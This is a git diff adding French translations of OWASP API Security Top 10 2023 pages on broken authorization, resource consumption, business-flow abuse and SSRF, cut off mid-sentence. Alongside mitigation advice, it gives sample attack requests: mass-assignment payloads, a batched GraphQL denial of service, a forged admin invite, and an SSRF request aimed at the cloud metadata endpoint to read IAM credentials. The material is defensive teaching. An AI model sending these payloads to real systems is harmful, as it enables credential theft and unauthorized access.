+* Ne réinventez pas la roue en matière d'authentification, de génération de jetons ou de stockage de mots de passe. Utilisez les standards. +* Les points d'accès de récupération des informations d'identification/mot de passe oublié doivent être traités comme des points d'accès de connexion. Ils doivent être protégés contre les attaques par la force brute : par le blocage de comptes ou la mise en place de "rate limiting" contraignant. +* Exigez une ré-authentification pour les opérations sensibles (par exemple, changer l'adresse e-mail du propriétaire du compte/le numéro de téléphone 2FA). +* Utilisez le [Cheat Sheet d'authentification OWASP][1]. +* Là où c'est possible, mettez en œuvre l'authentification multi-facteurs. +* Mettez en œuvre des mécanismes anti-brute force pour atténuer le bourrage d'informations d'identification, les attaques par dictionnaire et les attaques par force brute sur vos points d'accès d'authentification. Ce mécanisme doit être plus strict que les mécanismes de "rate limiting" réguliers sur vos API. +* Mettez en œuvre des mécanismes de [blocage de compte][2]/captcha pour prévenir les attaques par force brute contre des utilisateurs spécifiques. Mettez en œuvre des vérifications de mots de passe faibles. +* Les clés API ne doivent pas être utilisées pour l'authentification des utilisateurs. Elles ne doivent être utilisées que pour l'[authentification des clients API][3]. + +## Références + +### OWASP + +* [Authentication Cheat Sheet][1] +* [Key Management Cheat Sheet][4] +* [Credential Stuffing][5] + +### Externes + +* [CWE-204: Observable Response Discrepancy][6] +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][7] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html diff --git a/editions/2023/fr/0xa3-broken-object-property-level-authorization.md b/editions/2023/fr/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..b598fcbec --- /dev/null +++ b/editions/2023/fr/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,122 @@ +# API3:2023 Broken Object Property Level Authorization + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Facile** | Technique **Modérée** : Spécifique à l'organisation | +| Les API ont tendance à exposer des points d'accès qui retournent toutes les propriétés d'un objet. Cela est particulièrement vrai pour les API REST. Pour d'autres protocoles tels que GraphQL, il peut être nécessaire de formuler des requêtes spécifiques pour annoncer quelles propriétés doivent être retournées. Identifier ces propriétés supplémentaires qui peuvent être manipulées demande plus d'efforts, mais il existe quelques outils automatisés disponibles pour aider dans cette tâche. | L'inspection des réponses API suffit pour identifier les informations sensibles dans les représentations des objets retournés. Le fuzzing est généralement utilisé pour identifier des propriétés supplémentaires (cachées). L'écriture d'une requête API spécifique et l'analyse de sa réponse peut permettre de savoir si ces propriétés peuvent être modifiées. Une analyse des effets secondaires peut être nécessaire si la propriété cible n'est pas retournée dans la réponse API. | Un accès non autorisé aux propriétés d'objet privées/sensibles peut entraîner une divulgation de données, une perte de données ou une corruption de données. Dans certaines circonstances, un accès non autorisé aux propriétés d'objet peut entraîner une élévation de privilèges ou une prise de contrôle partielle/totale du compte. | + +## L'API est-elle vulnérable ? + +Lorsqu'un utilisateur est autorisé à accéder à un objet en utilisant un point d'accès API, il est important de valider que l'utilisateur à le droit d'accéder aux propriétés spécifiques de l'objet. + +Un point d'accès API est vulnérable si : + +* Le point d'accès API expose des propriétés d'un objet qui sont considérées comme sensibles et qui ne devraient pas être lues par l'utilisateur. (précédemment nommé : "[Excessive Data Exposure][1]") +* Le point d'accès API permet à un utilisateur de modifier, d'ajouter ou de supprimer la valeur d'une propriété sensible de l'objet à laquelle l'utilisateur ne devrait pas avoir accès (précédemment nommé : "[Mass Assignment][2]") + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Une application de rencontres permet à un utilisateur de signaler d'autres utilisateurs pour un comportement inapproprié. +Dans le cadre de ce processus, l'utilisateur clique sur un bouton "signaler", et l'appel API suivant est déclenché : + +``` +POST /graphql +{ + "operationName":"reportUser", + "variables":{ + "userId": 313, + "reason":["offensive behavior"] + }, + "query":"mutation reportUser($userId: ID!, $reason: String!) { + reportUser(userId: $userId, reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +Le point d'accès API est vulnérable car il permet à l'utilisateur authentifié d'accéder à des propriétés sensibles de l'objet utilisateur, telles que "fullName" et "recentLocation", qui ne sont pas censées être accessibles par d'autres utilisateurs. + +### Scénario #2 + +Une plateforme de location en ligne, qui propose à un type d'utilisateurs ("hôtes") de louer leur appartement à un autre type d'utilisateurs ("invités"), exige que l'hôte accepte une réservation faite par un invité, avant de facturer l'invité pour le séjour. + +Dans le cadre de ce processus, un appel API est envoyé par l'hôte à `POST /api/host/approve_booking` avec la payload suivante : + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm" +} +``` + +L'hôte rejoue la requête légitime, et ajoute la payload malveillante suivante : + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm", + "total_stay_price": "$1,000,000" +} +``` + +Le point d'accès API est vulnérable car il n'y a pas de validation des droits d'accès de l'hôte à la propriété d'objet - `total_stay_price`, et l'invité sera facturé plus qu'il ne le devrait. + +### Scénario #3 + +Un réseau social basé sur de courtes vidéos, applique un filtrage de contenu restrictif et une censure. Même si une vidéo téléchargée est bloquée, l'utilisateur peut modifier la description de la vidéo en utilisant la requête API suivante : + +``` +PUT /api/video/update_video + +{ + "description": "a funny video about cats" +} +``` + +Un utilisateur frustré peut rejouer la requête légitime, et ajouter la payload malveillante suivante : + +``` +{ + "description": "a funny video about cats", + "blocked": false +} +``` + +Le point d'accès API est vulnérable car il n'y a pas de validation si l'utilisateur devrait avoir accès à la propriété d'objet - `blocked`, et l'utilisateur peut changer la valeur de `true` à `false` et débloquer son propre contenu bloqué. + +## Comment s'en prémunir + +* Lors de l'exposition d'un objet à l'aide d'un point d'accès API, assurez-vous toujours que l'utilisateur a accès aux propriétés de l'objet que vous exposez. +* Évitez d'utiliser des méthodes génériques telles que `to_json()` et `to_string()`. Au lieu de cela, choisissez spécifiquement les propriétés de l'objet que vous souhaitez retourner. +* Si possible, évitez d'utiliser des fonctions qui lient automatiquement l'entrée du client à des variables dans du code, des objets internes ou des propriétés d'objet ("Mass Assignment"). +* Autorisez uniquement les modifications des propriétés de l'objet qui peuvent être mises à jour par le client. +* Mettez en œuvre un mécanisme de validation des réponses basé sur un schéma en tant que couche de sécurité supplémentaire. Dans le cadre de ce mécanisme, définissez et appliquez les données retournées par toutes les méthodes API. +* Gardez les structures de données retournées au strict minimum, conformément aux exigences commerciales/fonctionnelles pour le point d'accès. + +## Références + +### OWASP + +* [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019][1] +* [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019][2] +* [Mass Assignment Cheat Sheet][3] + +### Externes + +* [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies][4] +* [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][5] + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2023/fr/0xa4-unrestricted-resource-consumption.md b/editions/2023/fr/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..5d9e6e17c --- /dev/null +++ b/editions/2023/fr/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,133 @@ +# API4:2023 Unrestricted Resource Consumption + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Moyenne** | Prévalence **Répandue** : Détection **Facile** | Technique **Grave** : Spécifique à l'organisation | +| L'exploitation de cette faille nécessite des requêtes API simples. Plusieurs requêtes simultanées peuvent être effectuées à partir d'un seul ordinateur local ou en utilisant des ressources cloud. La plupart des outils automatisés disponibles sont conçus pour provoquer un déni de service (DoS) via des charges de trafic élevées, impactant le taux de service des API. | Il est courant de trouver des API qui ne limitent pas les interactions client ou la consommation de ressources. Écrire et tester avec des requêtes API incluant des paramètres qui contrôlent le nombre de ressources à renvoyer et qui effectuent une analyse de l'état/du temps/de la longueur de la réponse, devraient permettre d'identifier le problème. Il en va de même pour les opérations groupées. Bien que les attaquants n'aient pas de visibilité sur l'impact des coûts, cela peut être déduit en fonction du modèle commercial/tarifaire des fournisseurs de services (par exemple, le fournisseur de services cloud). | L'exploitation peut entraîner un déni de service (DoS) en raison de l'épuisement des ressources, mais elle peut également entraîner une augmentation des coûts opérationnels tels que ceux liés à l'infrastructure : en raison d'une demande accrue en CPU, l'augmentation des besoins en stockage sur le cloud, etc. | + +## L'API est-elle vulnérable ? + +Satisfaire les requêtes API nécessite des ressources telles que la bande passante réseau, le CPU, la mémoire et le stockage. Parfois, les ressources requises sont mises à disposition par les fournisseurs de services via des intégrations API, et payées par requête, comme l'envoi d'e-mails/SMS/appels téléphoniques, la validation biométrique, etc. + +Une API est vulnérable si au moins l'une des limites suivantes est manquante ou définie de manière inappropriée (par exemple, trop basse/élevée) : + +* Limites de temps d'exécution +* Mémoire allouable maximale +* Nombre maximal de descripteurs de fichiers (file descriptors) +* Nombre maximal de processus +* Taille maximale de fichier téléchargeable (upload) +* Nombre d'opérations à effectuer dans une seule requête client API (par exemple, le regroupement GraphQL) +* Nombre d'enregistrements par page à renvoyer dans une seule requête-réponse +* Limite de dépenses des fournisseurs de services tiers + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Un réseau social a mis en place un flux de "mot de passe oublié" utilisant la vérification par SMS, permettant à l'utilisateur de recevoir un jeton unique via SMS pour réinitialiser son mot de passe. + +Une fois qu'un utilisateur clique sur "mot de passe oublié", un appel API est envoyé depuis le navigateur de l'utilisateur vers l'API back-end : + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +Ensuite, en coulisses, un appel API est envoyé depuis le back-end vers une API tierce qui se charge de l'envoi du SMS : + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` + +Le fournisseur tiers, Willyo, facture 0,05 $ par envoi SMS. + +Un attaquant écrit un script qui envoie le premier appel API des dizaines de milliers de fois. Le back-end suit et demande à Willyo d'envoyer des dizaines de milliers de SMS, ce qui conduit l'entreprise à perdre des milliers de dollars en quelques minutes. + +### Scénario #2 + +Un endpoint API GraphQL permet à l'utilisateur de télécharger une photo de profil. + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") { + url + } + }" +} +``` + +Une fois le téléchargement terminé, l'API génère plusieurs miniatures de tailles différentes basées sur l'image téléchargée. Cette opération graphique consomme beaucoup de mémoire. + +L'API met en œuvre une protection traditionnelle de "rate limiting" - un utilisateur ne peut pas accéder trop de fois à l'endpoint GraphQL en peu de temps. L'API vérifie également la taille de l'image téléchargée avant de générer des miniatures pour éviter de traiter des images trop grandes. + +Un attaquant peut facilement contourner ces mécanismes, en exploitant la nature flexible de GraphQL : + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + ... + {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, +} +``` + +Comme l'API ne limite pas le nombre de fois où l'opération `uploadPic` peut être tentée, l'appel entraînera l'épuisement de la mémoire du serveur et un déni de service. + +### Scénario #3 + +Un fournisseur de services permet aux clients de télécharger des fichiers de grande taille via une API. Ces fichiers sont stockés dans un stockage d'objets cloud et ne changent pas souvent. Le fournisseur de services s'appuie sur un service de cache pour avoir un meilleur taux de service et pour maintenir une faible consommation de bande passante. Le service de cache ne met en cache que les fichiers ayant une taille de maximum 15 Go. + +Quand l'un des fichiers est mis à jour, sa taille augmente à 18 Go. Tous les clients du service commencent immédiatement à télécharger la nouvelle version. Comme il n'y a pas eu d'alertes sur le coût de consommation, ni de limite de coût maximal pour le service cloud, la facture mensuelle suivante passe de 13 $ en moyenne à 8 000 $. + +## Comment s'en prémunir + +* Utilisez une solution qui facilite la limitation de la [mémoire][1], du [CPU][2], du [nombre de redémarrages][3], des descripteurs de fichiers et des processus tels que les conteneurs / le code Serverless (par exemple, les Lambdas). +* Définissez et appliquez une taille maximale de données sur tous les paramètres et payloads entrants, telle que la longueur maximale des chaînes, le nombre maximal d'éléments dans les tableaux et la taille maximale des fichiers téléchargés (qu'ils soient stockés localement ou dans un stockage cloud). +* Mettez en place une limite sur la fréquence à laquelle un client peut interagir avec l'API dans un intervalle de temps défini (rate limiting). +* Le "rate limiting" doit être ajustée méticuleusement en fonction des besoins de l'entreprise. Certains points d'accès API peuvent nécessiter des politiques plus strictes. +* Limitez/ralentissez le nombre de fois ou la fréquence à laquelle un client/utilisateur API défini peut exécuter certaines opérations (par exemple, valider un OTP, ou demander une récupération de mot de passe sans visiter l'URL à usage unique). +* Ajoutez une validation appropriée côté serveur pour les paramètres de la requête et son contenu, en particulier ceux qui contrôlent le nombre d'enregistrements à renvoyer dans la réponse (principe de pagination). +* Configurez des limites de dépenses pour tous les fournisseurs de services/intégrations API. Lorsque cela n'est pas possible, configurez plutôt des alertes de facturation. + +## Références + +### OWASP + +* ["Availability" - Web Service Security Cheat Sheet][5] +* ["DoS Prevention" - GraphQL Cheat Sheet][6] +* ["Mitigating Batching Attacks" - GraphQL Cheat Sheet][7] + +### Externes + +* [CWE-770: Allocation of Resources Without Limits or Throttling][8] +* [CWE-400: Uncontrolled Resource Consumption][9] +* [CWE-799: Improper Control of Interaction Frequency][10] +* "Rate Limiting (Throttling)" - [Security Strategies for Microservices-based + Application Systems][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf diff --git a/editions/2023/fr/0xa5-broken-function-level-authorization.md b/editions/2023/fr/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..1adcddac0 --- /dev/null +++ b/editions/2023/fr/0xa5-broken-function-level-authorization.md @@ -0,0 +1,70 @@ +# API5:2023 Broken Function Level Authorization + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Facile** | Technique **Grave** : Spécifique à l'organisation | +| L'exploitation nécessite que l'attaquant envoie des appels API légitimes à un point d'accès API auquel il ne devrait pas avoir accès en tant qu'utilisateur anonyme ou utilisateur régulier, non privilégié. Les points d'accès exposés seront facilement exploités. | Les vérifications d'autorisation pour une fonction ou une ressource sont généralement gérées via la configuration ou le code. Implémenter des vérifications appropriées peut être une tâche confuse car les applications modernes peuvent contenir de nombreux types de rôles, de groupes et de hiérarchies d'utilisateurs complexes (par exemple, des sous-utilisateurs ou des utilisateurs avec plus d'un rôle). Il est plus facile de découvrir ces failles dans les API car les API sont plus structurées et l'accès à différentes fonctions est plus prévisible. | De telles failles permettent aux attaquants d'accéder à des fonctionnalités non autorisées. Les fonctions d'administration sont des cibles clés pour ce type d'attaque et peuvent entraîner une divulgation de données, une perte de données ou une corruption de données. En fin de compte, cela peut entraîner une interruption de service. | + + +## L'API est-elle vulnérable ? + +La meilleure façon de trouver des problèmes d'autorisation au niveau de la fonction est de réaliser une analyse approfondie du mécanisme d'autorisation tout en gardant à l'esprit la hiérarchie des utilisateurs, les différents rôles ou groupes dans l'application, et en posant les questions suivantes : + +* Un utilisateur régulier peut-il accéder à des points d'accès d'administration ? +* Un utilisateur peut-il effectuer des actions sensibles (par exemple, création, modification ou suppression) auxquelles il ne devrait pas avoir accès en modifiant simplement la méthode HTTP (par exemple, de `GET` à `DELETE`) ? +* Un utilisateur du groupe X peut-il accéder à une fonction qui devrait être exposée uniquement aux utilisateurs du groupe Y, en devinant simplement l'URL de l'endpoint et les paramètres (par exemple, `/api/v1/users/export_all`) ? + +Ne supposez pas qu'un point d'accès API est quelconque ou au contraire est un endpoint d'administration seulement par son URL. + +Certains développeurs peuvent choisir d'exposer la plupart des points d'accès d'administration sous un chemin relatif spécifique, comme `/api/admins`, mais il est également très courant de les trouver sous d'autres chemins relatifs, partagés avec d'autres endpoints plus classiques dans les applications, comme `/api/users`. + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Pendant le processus d'inscription pour une application qui n'autorise que les utilisateurs invités à rejoindre, l'application mobile déclenche un appel API à `GET /api/invites/{invite_guid}`. La réponse contient un JSON avec les détails de l'invitation, y compris le rôle de l'utilisateur et l'e-mail de l'utilisateur. + +Un attaquant duplique la requête et manipule la méthode HTTP et le point d'accès pour `POST /api/invites/new`. Cet endpoint ne devrait être accessible que par les administrateurs via la console d'administration. L'endpoint ne met pas en œuvre de vérifications d'autorisation au niveau de la fonction. + +L'attaquant exploite le problème et envoie une nouvelle invitation avec des privilèges administrateur : + +``` +POST /api/invites/new + +{ + "email": "attacker@somehost.com", + "role":"admin" +} +``` + +Plus tard, l'attaquant utilise l'invitation malveillante pour se créer un compte administrateur et obtenir un accès complet au système. + +### Scénario #2 + +Une API contient un point d'accès qui ne devrait être exposé qu'aux administrateurs - `GET /api/admin/v1/users/all`. Cet endpoint renvoie les détails de tous les utilisateurs de l'application et ne met pas en œuvre de vérifications d'autorisation au niveau de la fonction. Un attaquant ayant compris la structure de l'API devine adroitement comment accéder à cet endpoint, par l'URL, et retrouve ainsi tous les détails sensibles des utilisateurs pour cette application. + +## Comment s'en prémunir ? + +Votre application doit disposer d'un module d'autorisation cohérent et facile à analyser qui est invoqué depuis toutes vos fonctions métier. Souvent, cette protection est fournie par un ou plusieurs composants externes au code de l'application. + +* Le(s) mécanisme(s) de contrôle d'accès doivent refuser tout accès par défaut, exigeant des autorisations explicites pour des rôles spécifiques pour accéder à chaque fonction. +* Passez en revue vos endpoints contre les failles d'autorisation au niveau de la fonction, tout en gardant à l'esprit la logique métier de l'application et la hiérarchie des groupes. +* Assurez-vous que tous vos contrôleurs d'administration héritent d'un contrôleur d'administration abstrait qui implémente des vérifications d'autorisation basées sur le groupe/le rôle de l'utilisateur. +* Assurez-vous que les fonctions d'administration adjointes à un contrôleur régulier (i.e. non dédié à l'admistration de l'application, e.g. : PaymentController, InvitationController, etc.) implémentent des vérifications d'autorisation basées sur le groupe et le rôle de l'utilisateur. + +## Références + +### OWASP + +* [Forced Browsing][1] +* "A7: Missing Function Level Access Control", [OWASP Top 10 2013][2] +* [Access Control][3] + +### Externes + +* [CWE-285: Improper Authorization][4] + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2023/fr/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/fr/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..cf8a4d3a2 --- /dev/null +++ b/editions/2023/fr/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,74 @@ +# API6:2023 Unrestricted Access to Sensitive Business Flows + +| Facteurs de menace/Vecteurs d'attaque | Faille de sécurité | Impacts | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Répandue** : Détectabilité **Moyenne** | Technique **Modérée** : Spécifique à l'organisation | +| L'exploitation implique généralement de comprendre le modèle commercial soutenu par l'API, de trouver des flux commerciaux sensibles et d'automatiser l'accès à ces flux, causant des dommages à l'entreprise. | Le manque de vue holistique de l'API pour soutenir pleinement les exigences commerciales tend à contribuer à la prévalence de ce problème. Les attaquants identifient manuellement les ressources (par exemple, les points d'accès) impliquées dans le flux cible et comment elles fonctionnent ensemble. Si des mécanismes d'atténuation sont déjà en place, les attaquants doivent trouver un moyen de les contourner. | En général, l'impact technique n'est pas attendu. L'exploitation pourrait nuire à l'entreprise de différentes manières, par exemple : empêcher les utilisateurs légitimes d'acheter un produit, ou entraîner une inflation dans l'économie. | + +## L'API est-elle vulnérable ? + +Lors de la création d'un point d'accès (endpoint) API, il est important de comprendre le flux commercial qu'il expose. Certains flux commerciaux sont plus sensibles que d'autres, dans le sens où un accès excessif à ces flux peut nuire à l'entreprise. + +Des exemples courants de flux commerciaux sensibles et des risques d'accès excessif associés : + +* Achat d'un produit - un attaquant peut acheter tout le stock d'un article très demandé en une fois et de tous les revendre à un prix plus élevé +* Création d'un flux de commentaires/publications - un attaquant peut spammer le système +* Réservation - un attaquant peut réserver tous les créneaux horaires disponibles + et empêcher d'autres utilisateurs d'utiliser le système + +Le risque d'accès excessif peut varier entre les secteurs et les entreprises. Par exemple, la création de publications par un script peut être considérée comme un risque de spam par un réseau social, mais encouragée par un autre réseau social. + +Une API est vulnérable si elle expose un flux commercial sensible sans restreindre de manière appropriée l'accès à celui-ci. + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Une entreprise de tech annonce qu'elle va sortir une nouvelle console de jeu le jour de Thanksgiving. Le produit est très demandé et le stock est limité. Un attaquant écrit un code pour acheter automatiquement le nouveau produit et finaliser la transaction. + +Le jour de la sortie, l'attaquant exécute le code distribué sur différentes adresses IP et emplacements. L'API ne met pas en place les protections appropriées et permet à l'attaquant d'acheter la majorité du stock avant les autres utilisateurs légitimes. + +Plus tard, l'attaquant revend le produit sur une autre plateforme pour un prix beaucoup plus élevé. + +### Scénario #2 + +Une compagnie aérienne propose l'achat de billets en ligne sans frais d'annulation. Un utilisateur malveillant réserve 90% des sièges d'un vol désiré. + +Quelques jours avant le vol, l'utilisateur malveillant annule tous les billets en une seule fois, forçant la compagnie aérienne à réduire les prix des billets pour remplir le vol. + +À ce stade, l'utilisateur achète un seul billet qui est beaucoup moins cher que le billet original. + +### Scénario #3 + +Une application de covoiturage propose un programme de parrainage - les utilisateurs peuvent inviter leurs amis et gagner des crédits pour chaque ami qui a rejoint l'application. Ces crédits peuvent être utilisés plus tard comme de l'argent pour réserver des trajets. + +Un attaquant exploite ce flux en écrivant un script pour automatiser le processus d'inscription, chaque nouvel utilisateur ajoutant des crédits au portefeuille de l'attaquant. + +L'attaquant peut ensuite profiter de trajets gratuits ou vendre les comptes avec des crédits excessifs contre de l'argent. + +## Comment s'en prémunir ? + +La planification de mitigation doit être effectuée en deux couches : + +* Business - identifier les flux commerciaux qui pourraient nuire à l'entreprise s'ils "taient utilisés de manière excessive. +* Ingénierie - choisir les bons mécanismes de protection pour atténuer le risque commercial. + +Certains mécanismes de protection sont plus simples tandis que d'autres sont plus difficiles à mettre en œuvre. Les méthodes suivantes sont utilisées pour ralentir les menaces automatisées : + +* Empreinte de l'appareil : refuser le service aux appareils clients inattendus (par exemple, les navigateurs sans interface graphique) tend à inciter les acteurs malveillants à utiliser des solutions plus sophistiquées, donc plus coûteuses pour eux +* Détection humaine : utiliser soit un captcha, soit des solutions biométriques plus avancées (par exemple : biométrie par modèles de frappe) +* Modèles non humains : analyser le flux de l'utilisateur pour détecter les modèles non humains (par exemple, l'utilisateur a accédé aux fonctions "ajouter au panier" et "compléter l'achat" en moins d'une seconde) +* Considérer le blocage des adresses IP des nœuds de sortie Tor et des proxies bien connus + +Sécurisez et limitez l'accès aux API qui sont consommées directement par des machines (comme les API de développeur et B2B). Elles sont souvent une cible facile pour les attaquants car elles n'implémentent souvent pas tous les mécanismes de protection nécessaires. + +## Références + +### OWASP + +* [OWASP Automated Threats to Web Applications][1] +* [API10:2019 Insufficient Logging & Monitoring][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/ + diff --git a/editions/2023/fr/0xa7-server-side-request-forgery.md b/editions/2023/fr/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..c6b399f7e --- /dev/null +++ b/editions/2023/fr/0xa7-server-side-request-forgery.md @@ -0,0 +1,137 @@ +# API7:2023 Server Side Request Forgery + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impacts | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Facile** | Technique **Modérée** : Spécifique à l'organisation | +| L'exploitation nécessite que l'attaquant trouve un point d'accès API qui accède à une URI fournie par le client. En général, l'exploitation de la SSRF de base (lorsque la réponse est renvoyée à l'attaquant) est plus facile que la SSRF aveugle, dans laquelle l'attaquant n'a aucun retour d'information sur le succès de l'attaque. | Les concepts modernes de développement d'applications encouragent les développeurs à accéder à des URI fournies par le client. Le manque de validation ou une validation incorrecte de ces URI sont des problèmes courants. L'analyse des réponses et des requêtes associées sera nécessaire pour détecter le problème. Lorsque la réponse n'est pas renvoyée (SSRF aveugle), la détection de la vulnérabilité nécessite plus d'efforts et de créativité. | L'exploitation réussie peut entraîner une énumération des services internes (par exemple, un balayage de ports), une divulgation d'informations, le contournement des pare-feu ou d'autres mécanismes de sécurité. Dans certains cas, cela peut entraîner un déni de service ou l'utilisation du serveur comme proxy pour masquer des activités malveillantes. | + +## L'API est-elle vulnérable ? + +La SSRF (Server-Side Request Forgery) se produit lorsqu'une API récupère une ressource distante sans valider l'URL fournie par l'utilisateur. Cela permet à un attaquant de forcer l'application à envoyer une requête forgée vers une destination inattendue, même si elle est protégée par un pare-feu ou un VPN. + +Les concepts modernes de développement d'applications rendent la SSRF plus courante et plus dangereuse. + +Encore plus courant - les concepts suivants encouragent les développeurs à accéder à une ressource externe en fonction de l'entrée utilisateur : les webhooks, le téléchargement de fichiers à partir d'URL, les SSO personnalisés et les aperçus d'URL. + +Encore plus dangereux - les technologies modernes comme les fournisseurs de cloud, Kubernetes et Docker exposent des canaux de gestion et de contrôle via HTTP sur des chemins prévisibles et bien connus. Ces canaux sont une cible facile pour une attaque SSRF. + +Il est de plus en plus difficile de limiter le trafic sortant de votre application, en raison de la nature connectée des applications modernes. + +Le risque de SSRF ne peut pas toujours être complètement éliminé. Lors du choix d'un mécanisme de protection, il est important de tenir compte des risques et des besoins de l'entreprise. + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Un réseau social permet aux utilisateurs de télécharger des photos de profil. L'utilisateur peut choisir de télécharger le fichier image depuis sa machine, ou de fournir l'URL de l'image. En choisissant la seconde option, cela déclenchera l'appel API suivant : + +``` +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +Un attaquant peut envoyer une URL malveillante et initier un balayage de ports à l'intérieur du réseau interne en utilisant le point d'accès API. + +``` +{ + "picture_url": "localhost:8080" +} +``` + +En fonction du temps de réponse, l'attaquant peut déterminer si le port est ouvert ou non. + +### Scénario #2 + +Un service de sécurité génère des événements lorsqu'il détecte des anomalies dans le réseau. Certaines équipes préfèrent examiner les événements dans un système de surveillance plus large et plus générique, tel qu'un SIEM (Security Information and Event Management). À cette fin, le produit fournit une intégration avec d'autres systèmes en utilisant des webhooks. + +Dans le cadre de la création d'un nouveau webhook, une mutation GraphQL est envoyée avec l'URL de l'API SIEM. + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://www.siem-system.com/create_new_event\", + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] + +``` + +Pendant le processus de création, l'API back-end envoie une requête de test à l'URL du webhook fournie, et présente à l'utilisateur la réponse. + +Un attaquant peut exploiter ce flux, et faire en sorte que l'API envoie une requête à une ressource sensible, telle qu'un service interne cloud de métadonnées qui expose des informations d'identification : + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\", + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +Puisque l'application affiche la réponse de la requête de test, l'attaquant peut voir les informations d'identification de l'environnement cloud. + +## Comment s'en prémunir + +* Isoler le mécanisme de récupération des ressources dans votre réseau : ces fonctionnalités sont généralement destinées à récupérer des ressources distantes et non internes. +* Chaque fois que possible, utilisez des listes d'autorisation : + * Les origines distantes à partir desquelles les utilisateurs sont censés télécharger des ressources (par exemple, Google Drive, Gravatar, etc.) + * Les schémas d'URL et les ports + * Les types de médias acceptés pour une fonctionnalité donnée +* Désactivez les redirections HTTP. +* Utilisez un analyseur d'URL bien 